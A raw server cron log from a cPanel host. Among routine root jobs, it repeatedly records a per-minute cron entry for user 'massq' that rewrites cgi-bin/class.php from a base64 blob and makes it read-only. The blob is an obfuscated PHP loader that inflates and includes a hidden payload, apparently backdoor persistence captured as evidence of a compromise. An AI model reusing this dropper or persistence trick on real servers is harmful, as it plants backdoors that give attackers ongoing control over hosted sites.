Sep 12 15:18:01 server CROND[8279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:18:01 server CROND[8280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:19:01 server CROND[8642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:19:01 server CROND[8643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:19:01 server CROND[8645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:20:01 server CROND[9077]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 15:20:01 server CROND[9079]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:20:01 server CROND[9080]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 15:20:01 server CROND[9084]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 15:20:01 server CROND[9085]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:20:01 server CROND[9088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:20:01 server CROND[9087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:20:01 server CROND[9092]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 15:20:01 server CROND[9086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:21:01 server CROND[9919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:21:01 server CROND[9920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:21:01 server CROND[9921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:22:01 server CROND[10342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:22:01 server CROND[10341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:22:01 server CROND[10343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:23:01 server CROND[10809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:23:01 server CROND[10810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:23:01 server CROND[10812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:24:01 server CROND[11247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:24:01 server CROND[11248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:24:01 server CROND[11249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:25:01 server CROND[11627]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 15:25:01 server CROND[11630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:25:01 server CROND[11629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:25:01 server CROND[11635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:25:01 server CROND[11637]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:25:01 server CROND[11632]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:25:01 server CROND[11633]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 15:26:01 server CROND[12492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:26:01 server CROND[12493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:26:01 server CROND[12494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:27:01 server CROND[12876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:27:01 server CROND[12877]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 15:27:01 server CROND[12879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:27:01 server CROND[12878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:28:01 server CROND[13248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:28:01 server CROND[13249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:28:01 server CROND[13247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:29:01 server CROND[13715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:29:01 server CROND[13716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:29:01 server CROND[13717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:30:01 server CROND[14112]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 15:30:01 server CROND[14114]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:30:01 server CROND[14119]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
